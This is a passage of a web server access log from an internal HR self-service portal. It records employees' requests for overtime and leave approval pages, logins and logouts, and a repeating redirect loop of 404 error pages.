/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132675%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132675&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132675%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132675&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:10:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:10:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [02/Dec/2025:09:10:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:10:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:10:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:10:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.11.55 - - [02/Dec/2025:09:16:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [02/Dec/2025:09:16:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [02/Dec/2025:09:16:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [02/Dec/2025:09:16:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [02/Dec/2025:09:16:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [02/Dec/2025:09:16:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [02/Dec/2025:09:16:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9009712995296095 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9009712995296095 HTTP/1.1" 200 8736 192.168.11.55 - - [02/Dec/2025:09:16:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9009712995296095 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9009712995296095" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:16:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9009712995296095 HTTP/1.1" 200 14154 192.168.11.55 - - [02/Dec/2025:09:17:05 +0800] "POST 